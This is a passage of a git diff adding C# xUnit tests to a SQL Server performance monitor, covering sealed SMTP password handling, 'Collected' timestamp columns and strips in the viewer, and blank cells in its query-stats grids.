+        Assert.DoesNotContain(Plain, sealedText, StringComparison.Ordinal);
+        Assert.Equal(Plain, PasswordSeal.Open(sealedText, _key, PasswordBinding.ForSmtp("mail.example.test", 587, true, "mailer")));
+        foreach (var changed in new[]
+                 {
+                     PasswordBinding.ForSmtp("other-mail.example.test", 587, true, "mailer"),
+                     PasswordBinding.ForSmtp("mail.example.test", 25, true, "mailer"),
+                     PasswordBinding.ForSmtp("mail.example.test", 587, false, "mailer"),
+                     PasswordBinding.ForSmtp("mail.example.test", 587, true, "someone-else"),
+                 })
+        {
+            Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(sealedText, _key, changed));
+        }
+    }
+
+    [Fact]
+    public void ASealedSmtpPassword_OpensWithTheBindingTheServiceBuildsFromTheStoredRow()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var row = Row(username: null, blob: null);
+        row.SmtpEncryptedPassword = sealer.SealSmtp(Plain, row.SmtpHost, row.SmtpPort, row.SmtpUseSsl, row.SmtpUsername);
+
+        /* The service builds its SmtpConfig from the stored columns; an unset user name reads back as empty text. */
+        var smtp = new SmtpConfig
+        {
+            Host = row.SmtpHost, Port = row.SmtpPort, UseSsl = row.SmtpUseSsl, Username = "", EncryptedPassword = row.SmtpEncryptedPassword,
+        };
+
+        Assert.Equal(Plain, DarlingSecrets.ResolveSmtpPassword(smtp, DarlingPasswordKey.FromPrivateKey(_key), LegacyDpapi.Current));
+    }
+
+    [Fact]
+    public void ALoneSurrogate_InThePassword_OrABoundField_IsRefused_WithASentenceThatNamesNoValue()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        const string bad = "abcd\ud800";
+
+        var inPassword = Assert.Throws<ViewerPasswordRefusedException>(() => sealer.SealSmtp(bad, "mail.example.test", 587, true, "mailer"));
+        var inHost = Assert.Throws<ViewerPasswordRefusedException>(() => sealer.SealSmtp(Plain, bad, 587, true, "mailer"));
+        var inUser = Assert.Throws<ViewerPasswordRefusedException>(() => sealer.SealSmtp(Plain, "mail.example.test", 587, true, bad));
+
+        Assert.Equal(ViewerPasswordSealer.PasswordCharactersText, inPassword.Message);
+        Assert.Equal("The mail server contains characters that cannot be stored.", inHost.Message);
+        Assert.Equal("The SMTP user name contains characters that cannot be stored.", inUser.Message);
+        foreach (var message in new[] { inPassword.Message, inHost.Message, inUser.Message })
+        {
+            Assert.DoesNotContain("abcd", message, StringComparison.Ordinal);
+        }
+
+        Assert.False(ViewerSmtpSeal.IsValidText(bad));
+        Assert.True(ViewerSmtpSeal.IsValidText("a\U0001F600b"));
+        Assert.True(ViewerSmtpSeal.IsValidText(null));
+    }
+
+    [Fact]
+    public void APasswordLongerThanASealedValueCanHold_IsRefused_WithTheTooLongSentence()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(
+            () => sealer.SealSmtp(new string('x', PasswordSeal.MaxPlaintextBytes + 1), "mail.example.test", 587, true, "mailer"));
+
+        Assert.Equal(ViewerPasswordSealer.PasswordTooLongText, ex.Message);
+    }
+
+    /* ═══════════ the migration ═══════════ */
+
+    [Fact]
+    public async Task TheMigration_WithNoPasswordToMove_NeedsNoKey_AndLeavesTheRowWithoutOne()
+    {
+        var row = Row();
+
+        var outcome = await ViewerControlPlaneMigration.SealSmtpPasswordAsync(null!, row, "", TestContext.Current.CancellationToken);
+
+        Assert.Equal(ViewerControlPlaneMigration.SmtpSealOutcome.Done, outcome);
+        Assert.Null(row.SmtpEncryptedPassword);
+    }
+
+    /* ═══════════ the source: no old-format seal is left for SMTP ═══════════ */
+
+    [Fact]
+    public void NoViewerSmtpPath_StillCallsTheOldFormatSeal()
+    {
+        var viewer = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Viewer");
+        foreach (var file in new[] { "SettingsWindow.xaml.cs", "ViewerControlPlaneMigration.cs" })
+        {
+            var text = File.ReadAllText(Path.Combine(viewer, file));
+            Assert.DoesNotContain("ViewerServerSecret.", text, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheSettingsWindow_SealsThroughTheKeyRead_AndThePathsWithNoWindowPassNoOwner()
+    {
+        var viewer = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Viewer");
+        var settings = File.ReadAllText(Path.Combine(viewer, "SettingsWindow.xaml.cs"));
+        var migration = File.ReadAllText(Path.Combine(viewer, "ViewerControlPlaneMigration.cs"));
+
+        Assert.Contains("ViewerPasswordKey.GetSealKeyAsync(_dataService!, this)", settings, StringComparison.Ordinal);
+        Assert.Contains("SealSmtp(", settings, StringComparison.Ordinal);
+        Assert.Contains("ViewerPasswordKey.GetSealKeyAsync(dataService, null, cancellationToken)", migration, StringComparison.Ordinal);
+        Assert.Contains("SealSmtp(", migration, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5366 against a real store: a sealed SMTP password the Viewer saves reads back exactly as written and is opened by the
+/// service for the stored host, port, SSL flag and user name; a value sealed for one host does not open once the stored host
+/// is changed underneath it.
+/// </summary>
+public sealed class ViewerSmtpSealLiveTests
+{
+    private const string Plain = "p@ss-not-real";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static SmtpConfig ServiceReadOf(NotificationRow stored) => new()
+    {
+        Host = stored.SmtpHost,
+        Port = stored.SmtpPort,
+        UseSsl = stored.SmtpUseSsl,
+        Username = stored.SmtpUsername ?? "",
+        EncryptedPassword = stored.SmtpEncryptedPassword!,
+    };
+
+    [Fact]
+    public async Task ASavedSealedSmtpPassword_IsOpenedByTheServiceRead_AndNotAfterTheStoredHostChanges()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live SMTP seal round trip.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+            }
+
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            using var key = PasswordPrivateKey.Generate();
+            var ring = DarlingPasswordKey.FromPrivateKey(key);
+
+            /* What the Settings window writes: the row's own four values, sealed. */
+            var row = new NotificationRow
+            {
+                SmtpHost = "mail.example.test", SmtpPort = 465, SmtpUseSsl = false, SmtpUsername = "mailer",
+                SmtpFromAddress = "alerts@example.test", SmtpRecipients = "dba@example.test",
+            };
+            row.SmtpEncryptedPassword = new ViewerPasswordSealer(key.PublicKey)
+                .SealSmtp(Plain, row.SmtpHost, row.SmtpPort, row.SmtpUseSsl, row.SmtpUsername);
+            await viewer.UpsertNotificationAsync(row, ct);
+
+            var stored = await viewer.GetNotificationAsync(ct);
+            Assert.NotNull(stored);
+            Assert.DoesNotContain(Plain, stored!.SmtpEncryptedPassword, StringComparison.Ordinal);
+            Assert.Equal(Plain, DarlingSecrets.ResolveSmtpPassword(ServiceReadOf(stored), ring, LegacyDpapi.Current));
+
+            /* A direct store UPDATE of the host: the value was sealed for the old one. */
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await using var update = new NpgsqlCommand("UPDATE config_notification SET smtp_host = 'other-mail.example.test' WHERE id = 1", connection);
+                Assert.Equal(1, await update.ExecuteNonQueryAsync(ct));
+            }
+
+            var changed = await viewer.GetNotificationAsync(ct);
+            Assert.Equal("other-mail.example.test", changed!.SmtpHost);
+            var ex = Assert.Throws<InvalidOperationException>(
+                () => DarlingSecrets.ResolveSmtpPassword(ServiceReadOf(changed), ring, LegacyDpapi.Current));
+            Assert.DoesNotContain(Plain, ex.Message, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public void TheSettingsWindow_NeverPutsASavedSmtpPasswordBackInTheBox()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "SettingsWindow.xaml.cs");
+
+        Assert.DoesNotContain("TryUnprotect(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("_loadedSmtpPlain", source, StringComparison.Ordinal);
+        Assert.Contains("SmtpPasswordBox.Password = \"\";", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerSnapshotCollectedColumnTests.cs b/Darling/Darling.Tests/ViewerSnapshotCollectedColumnTests.cs
new file mode 100644
index 0000000000..141585b18e
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerSnapshotCollectedColumnTests.cs
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>The CPU Scheduler, Latch, Spinlock and Running Jobs grids end in a "Collected" column that says when their snapshot
+/// was collected (#4966): the display-zone time to the second, sorted on the stored DateTime, as the viewer's other Collected columns.</summary>
+[Collection("viewer-time-statics")]
+public sealed class ViewerSnapshotCollectedColumnTests
+{
+    private static string Xaml() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml").ReplaceLineEndings("\n");
+
+    private static string ViewerFile(string file) =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file).ReplaceLineEndings("\n");
+
+    [Theory]
+    [InlineData("CpuSchedulerGrid")]
+    [InlineData("LatchStatsGrid")]
+    [InlineData("SpinlockStatsGrid")]
+    [InlineData("RunningJobsGrid")]
+    public void TheGrid_EndsInACollectedColumn_BoundToTheDisplayTime_SortedOnTheStoredDateTime(string grid)
+    {
+        var xaml = Xaml();
+        var start = Regex.Match(xaml, @"<DataGrid\b[^>]*?x:Name=""" + grid + @"""").Index;
+        var end = xaml.IndexOf("</DataGrid.Columns>", start, StringComparison.Ordinal);
+        var last = Regex.Matches(xaml[start..end], @"<DataGridTextColumn\b(?:""[^""]*""|[^>""])*>").Last().Value;
+        Assert.Contains("Header=\"Collected\"", last, StringComparison.Ordinal);
+        Assert.Contains("Binding=\"{Binding CollectionTimeLocal}\"", last, StringComparison.Ordinal);
+        Assert.Contains("SortMemberPath=\"CollectionTime\"", last, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheOldSnapshotLabel_IsGone()
+    {
+        Assert.DoesNotContain("SnapshotTime\"", Xaml(), StringComparison.Ordinal);
+        Assert.DoesNotContain("Snapshot at", Xaml(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCpuSchedulerLoad_WrapsItsRowsWithTheSnapshotsCollectionTime()
+    {
+        var source = ViewerFile("ViewerServerTab.CpuScheduler.cs");
+        Assert.Contains("CpuSchedulerGrid.ItemsSource = CpuSchedulerGridRow.Build(snapshotTask.Result);", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDisplayText_IsTheDisplayZonesWallTime_ToTheSecond()
+    {
+        var saved = CultureInfo.CurrentCulture;
+        var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+        try
+        {
+            CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var at = new DateTime(2026, 10, 3, 14, 5, 9, DateTimeKind.Unspecified);
+            // A literal, so the format string itself is pinned.
+            var expected = "2026-10-03 14:05:09";
+            Assert.Equal(expected, HistoryTime.CollectionLocal(at));
+            Assert.Equal(expected, new RunningJobRow { CollectionTime = at }.CollectionTimeLocal);
+            Assert.Equal(expected, new LatchStatsSnapshotRow("L", 0, 0, 0, null, null, null, at).CollectionTimeLocal);
+            Assert.Equal(expected, new SpinlockStatsSnapshotRow("S", 0, 0, 0, 0, 0, null, null, null, at).CollectionTimeLocal);
+            Assert.Equal(expected, new CpuSchedulerGridRow { CollectionTime = at }.CollectionTimeLocal);
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = savedMode;
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerSnapshotStripCollectedTests.cs b/Darling/Darling.Tests/ViewerSnapshotStripCollectedTests.cs
new file mode 100644
index 0000000000..8ab286d9d3
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerSnapshotStripCollectedTests.cs
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Memory, Plan Cache and Session Stats summary strips draw the newest snapshot, so each says when that
+/// snapshot was collected (#4966): in the display zone, to the second, or the strip's own empty marker. Lite words it the same way.
+/// </summary>
+[Collection("viewer-time-statics")]
+public sealed class ViewerSnapshotStripCollectedTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+    private readonly CultureInfo _savedCulture = CultureInfo.CurrentCulture;
+
+    public ViewerSnapshotStripCollectedTests() => CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+
+    public void Dispose()
+    {
+        ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+        CultureInfo.CurrentCulture = _savedCulture;
+    }
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file).ReplaceLineEndings("\n");
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\n    \}\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    [Fact]
+    public void TheText_IsTheCollectionTimeInTheDisplayZone_ToTheSecond()
+    {
+        ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+        var utc = new DateTime(2026, 10, 3, 14, 5, 9, 700, DateTimeKind.Unspecified);
+
+        Assert.Equal("2026-10-03 14:05:09", HistoryTime.SnapshotCollected(utc, "--"));
+        Assert.Equal(HistoryTime.CollectionLocal(utc), HistoryTime.SnapshotCollected(utc, "N/A"));
+    }
+
+    [Fact]
+    public void TheText_FollowsTheDisplayMode_AndTheEmptyMarkerIsTheStripsOwn()
+    {
+        ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.LocalTime;
+        var utc = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Unspecified);
+        var expected = TimeZoneInfo.ConvertTimeFromUtc(utc, TimeZoneInfo.Local).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+        Assert.Equal(expected, HistoryTime.SnapshotCollected(utc, "--"));
+        Assert.Equal("--", HistoryTime.SnapshotCollected(null, "--"));
+        Assert.Equal("N/A", HistoryTime.SnapshotCollected(null, "N/A"));
+    }
+
+    [Fact]
+    public void EachStrip_DeclaresItsCollectedElement_WithTheStripsEmptyText()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        Assert.Matches(@"<TextBlock Text=""Collected"" Foreground=""\{DynamicResource ForegroundDimBrush\}"" FontSize=""11""/>\s*<TextBlock x:Name=""MemoryCollectedText"" Text=""--""", xaml);
+        Assert.Matches(@"<TextBlock Text=""Collected:""[^>]*ForegroundDimBrush[^>]*/>\s*<TextBlock x:Name=""PlanCacheCollectedText"" Text=""--""", xaml);
+        Assert.Matches(@"<TextBlock Text=""Collected:""[^>]*ForegroundDimBrush[^>]*/>\s*<TextBlock x:Name=""SessionStatsCollectedText"" Text=""N/A""", xaml);
+    }
+
+    [Fact]
+    public void EachLoad_SetsItsCollectedElement_FromTheSnapshotItRendered_AndClearsItWhenThereIsNone()
+    {
+        var memory = MethodBody(ViewerFile("ViewerServerTab.Memory.cs"), @"private void RenderMemorySummary\(");
+        Assert.Contains("MemoryCollectedText.Text = HistoryTime.SnapshotCollected(null, \"--\");", memory, StringComparison.Ordinal);
+        Assert.Contains("MemoryCollectedText.Text = HistoryTime.SnapshotCollected(stats.CollectionTime, \"--\");", memory, StringComparison.Ordinal);
+
+        var plan = MethodBody(ViewerFile("ViewerServerTab.PlanCache.cs"), @"private void RenderPlanCacheSummary\(");
+        Assert.Contains("PlanCacheCollectedText.Text = HistoryTime.SnapshotCollected(null, \"--\");", plan, StringComparison.Ordinal);
+        Assert.Contains("PlanCacheCollectedText.Text = HistoryTime.SnapshotCollected(summary.CollectionTime, \"--\");", plan, StringComparison.Ordinal);
+
+        var session = MethodBody(ViewerFile("ViewerServerTab.SessionStats.cs"), @"private void UpdateSessionStatsSummary\(");
+        Assert.Contains("SessionStatsCollectedText.Text = HistoryTime.SnapshotCollected(data?.LatestCollectionTime, \"N/A\");", session, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheReads_CarryTheSnapshotsOwnCollectionTime()
+    {
+        Assert.Contains("MAX(collection_time) AS collection_time", ViewerDataService.PlanCacheSummarySql, StringComparison.Ordinal);
+        Assert.Contains("collection_time AS latest_collection_time", ViewerDataService.SessionStatsSql, StringComparison.Ordinal);
+        Assert.Contains("latest.latest_collection_time", ViewerDataService.SessionStatsSql, StringComparison.Ordinal);
+    }
+}
+
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. */
+public sealed class ViewerSnapshotStripCollectedLiveTests
+{
+    private const int PlanServerId = -497701;
+    private const int SessionServerId = -497702;
+
+    [Fact]
+    public async Task PlanCacheSummary_ReturnsTheNewestSnapshotsCollectionTime_AndSessionStatsCarryTheLastCollectionInTheBucket_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+        await using (var migrate = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await migrate.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        var t1 = QueryGridSeed.NowToTheMinute().AddMinutes(-30);
+        var t2 = t1.AddMinutes(10);
+        /* Both session collections sit inside ONE 1-minute bucket (the 20-minute window below picks 1-minute buckets), at off-minute seconds. */
+        var s1 = t2.AddSeconds(10);
+        var s2 = t2.AddSeconds(50);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        foreach (var t in new[] { t1, t2 })
+        {
+            await using var plan = new NpgsqlCommand(@"
+INSERT INTO plan_cache_stats
+    (collection_id, collection_time, server_id, server_name, cacheobjtype, objtype, total_plans, total_size_mb,
+     single_use_plans, single_use_size_mb, multi_use_plans, multi_use_size_mb, avg_use_count, avg_size_kb, oldest_plan_create_time)
+VALUES ($1, $2, $3, 'strip-plan', 'Compiled Plan', 'Adhoc', 5, 10, 1, 2, 4, 8, 1.5, 64, $4)", connection);
+            plan.Parameters.AddWithValue(t == t1 ? 1L : 2L);
+            plan.Parameters.AddWithValue(t);
+            plan.Parameters.AddWithValue(PlanServerId);
+            plan.Parameters.AddWithValue(t.AddDays(-1));
+            await plan.ExecuteNonQueryAsync(ct);
+
+            await using var session = new NpgsqlCommand(@"
+INSERT INTO session_summary_stats
+    (collection_id, collection_time, server_id, server_name, total_sessions, running_sessions, sleeping_sessions,
+     background_sessions, dormant_sessions, idle_sessions_over_30min, sessions_waiting_for_memory, databases_with_connections,
+     top_application_name, top_application_connections, top_host_name, top_host_connections)
+VALUES ($1, $2, $3, 'strip-session', 10, 1, 8, 1, 0, 0, 0, 3, 'App', 5, 'Host', 4)", connection);
+            session.Parameters.AddWithValue(t == t1 ? 1L : 2L);
+            session.Parameters.AddWithValue(t == t1 ? s1 : s2);
+            session.Parameters.AddWithValue(SessionServerId);
+            await session.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+        var summary = await viewer.GetPlanCacheSummaryAsync(PlanServerId, t1.AddHours(-1), t2.AddHours(1), ct);
+        Assert.Equal(t2, summary.CollectionTime);
+
+        /* One 1-minute bucket holds both collections: the strip's time is the newest collection (s2), not the bucket's grid time or its first collection. */
+        var points = await viewer.GetSessionStatsAsync(SessionServerId, t1.AddMinutes(-5), t2.AddMinutes(5), ct);
+        Assert.Equal(s2, points[^1].LatestCollectionTime);
+        Assert.NotEqual(points[^1].CollectionTime, points[^1].LatestCollectionTime);
+
+        var empty = await viewer.GetPlanCacheSummaryAsync(PlanServerId, t2.AddDays(1), t2.AddDays(2), ct);
+        Assert.Null(empty.CollectionTime);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerSnapshotTimeLiveTests.cs b/Darling/Darling.Tests/ViewerSnapshotTimeLiveTests.cs
new file mode 100644
index 0000000000..aa4430a101
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerSnapshotTimeLiveTests.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The latch and spinlock snapshot reads against a real store return the collection time of the snapshot they rendered (#4966).</summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own scratch database. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerSnapshotTimeLiveTests
+{
+    private const int ServerId = -496660;
+
+    [Fact]
+    public async Task TheLatchAndSpinlockSnapshots_CarryTheNewestCollectionTime_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+        var end = QueryGridSeed.NowToTheMinute();
+        var older = end.AddHours(-3);
+        var newest = end.AddHours(-1);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await EventGridSeed.AddServerAsync(connection, ServerId, "snapshot-time", end.AddDays(-2), "latch_stats", end, clockOffsetMinutes: null, ct);
+            long id = 1;
+            foreach (var at in new[] { older, newest })
+            {
+                await ExecAsync(connection, $"INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds) VALUES ({id++}, @t, {ServerId}, 'snapshot-time', 'BUFFER', 10, 20, 5, 1, 2, 1, 60)", at, ct);
+                await ExecAsync(connection, $"INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs, delta_collisions, delta_spins, delta_sleep_time, delta_backoffs, sample_interval_seconds) VALUES ({id++}, @t, {ServerId}, 'snapshot-time', 'LOCK_HASH', 10, 20, 2, 0, 0, 1, 2, 0, 0, 60)", at, ct);
+            }
+        }
+
+        var viewer = new ViewerDataService(scratch.ConnectionString);
+        var latch = await viewer.GetLatchStatsSnapshotAsync(ServerId, end.AddDays(-7), end, ct);
+        var spinlock = await viewer.GetSpinlockStatsSnapshotAsync(ServerId, end.AddDays(-7), end, ct);
+
+        Assert.Single(latch);
+        Assert.Equal(newest, latch[0].CollectionTime);
+        Assert.Single(spinlock);
+        Assert.Equal(newest, spinlock[0].CollectionTime);
+        Assert.Empty(await viewer.GetLatchStatsSnapshotAsync(ServerId + 1, end.AddDays(-7), end, ct));
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, DateTime at, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue("t", DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerStatsRowBlankCellTests.cs b/Darling/Darling.Tests/ViewerStatsRowBlankCellTests.cs
new file mode 100644
index 0000000000..7e84467536
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerStatsRowBlankCellTests.cs
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Windows.Controls;
+using System.Windows.Data;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329: the Top Queries and Top Procedures grid rows carry NULL, not 0, for the columns the hourly rollups keep no
+/// copy of, and a null cell shows blank. A page read from the hourly rollup holds every such column null at once, so
+/// the order within a page never mixes blank with numbers; the pins below still cover what a null does when a sort
+/// meets it. The live half (the hourly read returns null, the raw read returns values) is
+/// <see cref="ViewerHourlyRouteBlankColumnsLiveTests"/>.
+/// </summary>
+public sealed class ViewerStatsRowBlankCellTests
+{
+    /// <summary>The Top Queries row's columns the hourly rollup lacks (the grid's XAML binds each one by this name).</summary>
+    private static readonly string[] QueryBlankColumns =
+    {
+        "TotalLogicalReads", "AvgReads", "TotalLogicalWrites", "TotalPhysicalReads", "TotalRows", "TotalSpills",
+        "MinPhysicalReads", "MaxPhysicalReads", "MinRows", "MaxRows", "MinSpills", "MaxSpills", "MinDop", "MaxDop",
+        "MinGrantKb", "MaxGrantKb", "MinUsedGrantKb", "MaxUsedGrantKb", "MinIdealGrantKb", "MaxIdealGrantKb",
+        "MinReservedThreads", "MaxReservedThreads", "MinUsedThreads", "MaxUsedThreads", "TotalClrMs",
+        "PlanGenerationNum", "WorkerTimePerSecond",
+        /* #5329: the rollup keeps min/max of per-collection deltas, not per-execution extremes. */
+        "MinCpuMs", "MaxCpuMs", "MinElapsedMs", "MaxElapsedMs",
+    };
+
+    private static readonly string[] ProcedureBlankColumns =
+    {
+        "TotalLogicalReads", "AvgReads", "TotalLogicalWrites", "TotalPhysicalReads", "TotalSpills", "AvgSpills",
+        "MinLogicalReads", "MaxLogicalReads", "MinPhysicalReads", "MaxPhysicalReads", "MinLogicalWrites", "MaxLogicalWrites",
+        "MinSpills", "MaxSpills",
+        "MinCpuMs", "MaxCpuMs", "MinElapsedMs", "MaxElapsedMs",
+    };
+
+    [Fact]
+    public void AFreshRow_HoldsNullForEveryColumnTheRollupLacks_NotZero()
+    {
+        foreach (var name in QueryBlankColumns)
+        {
+            Assert.Null(typeof(ViewerQueryStatsRow).GetProperty(name)!.GetValue(new ViewerQueryStatsRow()));
+        }
+
+        foreach (var name in ProcedureBlankColumns)
+        {
+            Assert.Null(typeof(ViewerProcedureStatsRow).GetProperty(name)!.GetValue(new ViewerProcedureStatsRow()));
+        }
+    }
+
+    /// <summary>A real zero from the raw route stays a zero: blank means "not kept", 0 means "kept and was 0".</summary>
+    [Fact]
+    public void ARawRowWithARealZero_StaysZero_AndItsAverageIsStillComputed()
+    {
+        var q = new ViewerQueryStatsRow { TotalExecutions = 4, TotalLogicalReads = 0, TotalSpills = 0 };
+        Assert.Equal(0L, q.TotalLogicalReads);
+        Assert.Equal(0.0, q.AvgReads);
+        var p = new ViewerProcedureStatsRow { TotalExecutions = 4, TotalLogicalReads = 400 };
+        Assert.Equal(100.0, p.AvgReads);
+    }
+
+    /// <summary>The grid's cell is a TextBlock bound as <c>{Binding X, StringFormat=N0}</c>: a null shows empty, a number
+    /// shows formatted, and a real zero shows 0.</summary>
+    [Fact]
+    public void ANullCell_ShowsBlank_ANumberShowsFormatted_AZeroShowsZero()
+    {
+        StaTestThread.Run(() =>
+        {
+            Assert.Equal("", CellText(new ViewerQueryStatsRow(), "TotalLogicalReads"));
+            Assert.Equal("", CellText(new ViewerQueryStatsRow(), "AvgReads"));
+            Assert.Equal("", CellText(new ViewerProcedureStatsRow(), "TotalSpills"));
+            Assert.Equal("", CellText(new ViewerProcedureStatsRow(), "AvgSpills"));
+            Assert.Equal(1234.ToString("N0"), CellText(new ViewerQueryStatsRow { TotalLogicalReads = 1234 }, "TotalLogicalReads"));
+            Assert.Equal(0.ToString("N0"), CellText(new ViewerQueryStatsRow { TotalLogicalReads = 0 }, "TotalLogicalReads"));
+        });
+    }
+
+    /// <summary>A descending sort (the click that ranks by a column) puts the blank rows after every number, so a null
